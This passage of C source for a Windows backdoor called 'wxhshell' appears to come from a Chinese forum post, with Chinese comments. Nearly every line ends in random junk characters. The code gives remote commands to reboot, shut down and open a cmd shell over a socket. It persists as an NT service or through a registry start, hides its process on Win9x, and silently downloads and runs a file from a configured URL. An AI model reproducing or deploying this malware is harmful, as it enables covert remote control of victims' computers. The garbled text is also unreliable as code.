  LKM018H>  
  // 帮助 \ lbH   
  case '?': { 74([~Qs _M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >V"{]v  
    break; 9<gW~ s>  
  } //&3{B  
  // 安装 &W\e 5X<A  
  case 'i': { ?MH=8Cl1w  
    if(Install()) `i`P}W!F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _}F& ^  
    else y!b"Cj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f)Qln[/  
    break; \@@G\\)er  
    } nt2b}u>*  
  // 卸载 I): c#  
  case 'r': { ?/.])'&b  
    if(Uninstall()) hk?i0#7W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HZ9>4G3  
    else {y"Kn'1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QNbZ)  
    break; Nw"df=,{  
    } ;P S4@,  
  // 显示 wxhshell 所在路径 #(tdJ<HvC|  
  case 'p': { z4YDngf=4  
    char svExeFile[MAX_PATH]; N3u06  
    strcpy(svExeFile,"\n\r"); /4;mjE  
      strcat(svExeFile,ExeFile); ~cm4e>o  
        send(wsh,svExeFile,strlen(svExeFile),0); $n<1D -0!r  
    break; -b!?9T?}  
    } RvR.t"8  
  // 重启 gt8dFcm|s  
  case 'b': { f#l9rV"@g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^&;,n.X5Z  
    if(Boot(REBOOT)) K@p9_K8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #._JB-,'  
    else { _WS8I>  
    closesocket(wsh); q]4h#?.-1v  
    ExitThread(0); =X'[r  
    } ~i1 jh:,  
    break; #ft9ms#N  
    } Qb {[xmc  
  // 关机 o33t~@RX  
  case 'd': { w[GEm,ZC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zq 4%O7%  
    if(Boot(SHUTDOWN)) AWcbbj6Nd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lf-.c$.>  
    else { 6.]~7n  
    closesocket(wsh); H'i\N?VL  
    ExitThread(0); #w''WOk@ZG  
    } f>Rux1Je4  
    break; x_3B) &9  
    } Ry +?#P+  
  // 获取shell @x1cV_s[  
  case 's': { ;L$ -_Z  
    CmdShell(wsh); OG{*:1EP  
    closesocket(wsh); =Htt'""DN  
    ExitThread(0); p-j6H  
    break; r 1HG$^  
  } Kb ]}p  
  // 退出 >~ *wPoW  
  case 'x': { ,|*Gr"Q=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "EpH02{i  
    CloseIt(wsh); Xm# +Z`|N  
    break; q]1p Q)\'p  
    } *$O5.`]  
  // 离开 ;8<HB1 &,  
  case 'q': { oLkzLJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g{Av =66Z  
    closesocket(wsh); &Sg]P  
    WSACleanup(); (g@X.*c8  
    exit(1); >,Y+ 1  
    break; !n;3jAl&$  
        } fln[Q2zl  
  } w7` pbcY,  
  } S0StC$$1  
_p"u~j~%-  
  // 提示信息 U?dad}7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Gg`ExcT5  
} G+fo'ThG  
  } [Q:mq=<Z%  
=oVC*b  
  return; &yP|t":HWX  
} $%$zZJ@/  
;39b.v\^  
// shell模块句柄 0xZ^ f}@L  
int CmdShell(SOCKET sock) sPc}hG+N  
{ vw>(JCR  
STARTUPINFO si; ktPM66`b  
ZeroMemory(&si,sizeof(si)); z4 =OR@ h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }J?,?>Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >-V632(/{o  
PROCESS_INFORMATION ProcessInfo; z 8M\(<  
char cmdline[]="cmd"; n><ad*|MX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HT/!+#W .  
  return 0; ,8zJD&HMx  
} <',k%:t  
<b'*GBw$  
// 自身启动模式 ];CIo> b_(  
int StartFromService(void) eV%{XR?y  
{ auGK2i  
typedef struct BEax[=&W  
{ \s[L=^!  
  DWORD ExitStatus; K. B\F)K  
  DWORD PebBaseAddress; dfAw\7v/  
  DWORD AffinityMask; l1kHFeq  
  DWORD BasePriority; <r <{4\%}  
  ULONG UniqueProcessId; :YRHO|  
  ULONG InheritedFromUniqueProcessId; NL:dyV }  
}   PROCESS_BASIC_INFORMATION; &*o4~6pQ#  
5MG4S  
PROCNTQSIP NtQueryInformationProcess; ` Ft-1eE  
b5MU$}:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `oe=K{aX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; //N="9)@  
WL(Y1>|j  
  HANDLE             hProcess; <o9i;[+H-  
  PROCESS_BASIC_INFORMATION pbi; tJ_Y6oFm=  
O`Qke Z}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T*@o?U  
  if(NULL == hInst ) return 0; 02J(*_o  
D?%[du:V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B#hvw'}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?f9M59(l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ge({sy>X  
&0f/F:M  
  if (!NtQueryInformationProcess) return 0; phG *It}  
F3vywN1$,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0'f\>4B  
  if(!hProcess) return 0; 59$PWfi-\  
?7pn%_S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s)E8}-v  
tq,^!RSbZ  
  CloseHandle(hProcess); #/Ob_~-?j  
=\u,4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )?OdD7gd  
if(hProcess==NULL) return 0; SFh<>J^ 0a  
!YpH\wUyvP  
HMODULE hMod; G>:v1lde  
char procName[255]; uX!6: v]  
unsigned long cbNeeded; O13]H"O_  
{/)i}V#RE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vN v'%;L  
Ax\d{0/oL2  
  CloseHandle(hProcess); _\yR/W~  
J~J+CGT~2  
if(strstr(procName,"services")) return 1; // 以服务启动 :FU?vh$)  
@i> r(X  
  return 0; // 注册表启动 Z3MhHvvgp{  
} LN (\B:wAY  
W4av?H  
// 主模块 FZ%h7Oe  
int StartWxhshell(LPSTR lpCmdLine) gnzg(Y]5w  
{ WJ-.?   
  SOCKET wsl; AvZ5?rN$  
BOOL val=TRUE; Zgp9Uu}"  
  int port=0; &?Erkc~#  
  struct sockaddr_in door; UW}@oP$r  
d 4tL  
  if(wscfg.ws_autoins) Install(); !0? B=yA  
byE0Z vDM  
port=atoi(lpCmdLine); 2gklGDJD  
z&n2JpLY7  
if(port<=0) port=wscfg.ws_port; ;X]B0KFe7  
;=IJHk1&  
  WSADATA data; <sm"3qs"_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vO$cF*  
m;4ti9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ceJ#>Rj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K_ymA,&()  
  door.sin_family = AF_INET; :sK4mRF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s* u1n+Zq  
  door.sin_port = htons(port); Z JcX-Z!\  
j&/+/s9N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lijT L-3  
closesocket(wsl); x&J\swN9  
return 1; .czUJyFms}  
} Fhllqh)  
y@$E5sz  
  if(listen(wsl,2) == INVALID_SOCKET) { l=" X|t   
closesocket(wsl); dHiir&Rd9`  
return 1; YCStX)r  
} GPGP teC  
  Wxhshell(wsl); H-&27?s^  
  WSACleanup(); T<>B5G~%  
Qp[ Jw?a  
return 0; p),* 4@2<  
E0VAhN3G\  
} A0@,^|]  
FXY>o>K%h  
// 以NT服务方式启动 8<0P Ssx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fnr8{sr.2Z  
{ OESKLjFt  
DWORD   status = 0; WY>$.e  
  DWORD   specificError = 0xfffffff; *^g]QQ  
F4-rPv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; stfniV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ng|^Zm%   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @8`I!fZ  
  serviceStatus.dwWin32ExitCode     = 0; 3B%7SX  
  serviceStatus.dwServiceSpecificExitCode = 0; G na%|tUz|  
  serviceStatus.dwCheckPoint       = 0; W;R6+@I[  
  serviceStatus.dwWaitHint       = 0;  WvF{`N  
zRLJ|ejMP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f4AN"rW  
  if (hServiceStatusHandle==0) return; >G"fMOOkW  
IQC[ewk  
status = GetLastError(); S-\wX.`R1  
  if (status!=NO_ERROR) hR0a5   
{ ud)WH|Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \WnTpl>B  
    serviceStatus.dwCheckPoint       = 0; R0#scr   
    serviceStatus.dwWaitHint       = 0; @$5~`?  
    serviceStatus.dwWin32ExitCode     = status; W{q P/R  
    serviceStatus.dwServiceSpecificExitCode = specificError; R#ZJLT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sn'!Nq>  
    return; 6y Muj<L  
  } '3^qW  
CDtL.a\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V D7^wd9  
  serviceStatus.dwCheckPoint       = 0; i Pr(X  
  serviceStatus.dwWaitHint       = 0; VfJ{);   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A9SL|9Q  
} n2-+.9cY  
ami>Pp  
// 处理NT服务事件,比如:启动、停止 3 SbZD   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2+)h!y]  
{ mh[,E8'd  
switch(fdwControl) IFr"IOr'l  
{ mT@Gf>}/A  
case SERVICE_CONTROL_STOP:  r90tXx  
  serviceStatus.dwWin32ExitCode = 0; `EMGrw_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \fC;b"j  
  serviceStatus.dwCheckPoint   = 0; =,ax"C?pR  
  serviceStatus.dwWaitHint     = 0; u=s,bt,"5  
  { a""9%./B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t1 9f%d  
  } \VIY[6sn\M  
  return; >{~xO 6H  
case SERVICE_CONTROL_PAUSE: mYJ8O$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uMG y-c  
  break; jCtk3No  
case SERVICE_CONTROL_CONTINUE: ZGX"Vn|YL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,#;`f=aqTG  
  break; oF+yh!~mM  
case SERVICE_CONTROL_INTERROGATE: `%#_y67v  
  break; KLG.?`h:  
}; c 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :O@n6%pSL  
} (JdheCq!x  
y_W?7 S  
// 标准应用程序主函数 @VOegf+N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NRG~ya >  
{ ?xMTO  
!.V_?aYi8  
// 获取操作系统版本 gU&+^e >  
OsIsNt=GetOsVer(); 2<n 18-|OQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OPq|4xu  
,-EN{ed  
  // 从命令行安装  Br s}  
  if(strpbrk(lpCmdLine,"iI")) Install(); >m%TUQ#%  
't8!.k  
  // 下载执行文件 k:~UBs\)(  
if(wscfg.ws_downexe) { NW0se DL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .i_ gE5  
  WinExec(wscfg.ws_filenam,SW_HIDE); X1o R  
} x~Z7p)D_<  
6 mLC{X[  
if(!OsIsNt) { =&"pG` x  
// 如果时win9x,隐藏进程并且设置为注册表启动 O{byMV{Ou  
HideProc(); 1#"wfiW  
StartWxhshell(lpCmdLine); B[8 RBTsA  
} 7yg {0a  
else [D+PDR  
  if(StartFromService()) GFbn>dY  
  // 以服务方式启动 V#b*:E.cA  
  StartServiceCtrlDispatcher(DispatchTable); <x;g9Z>(  
else +U,t*U4,  
  // 普通方式启动 #<&@-D8  
  StartWxhshell(lpCmdLine); xZ2 1i QeN  
}2BNy9q@  
return 0; d@*dbECG  
}
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只看该作者 1 发表于: 2006-10-10
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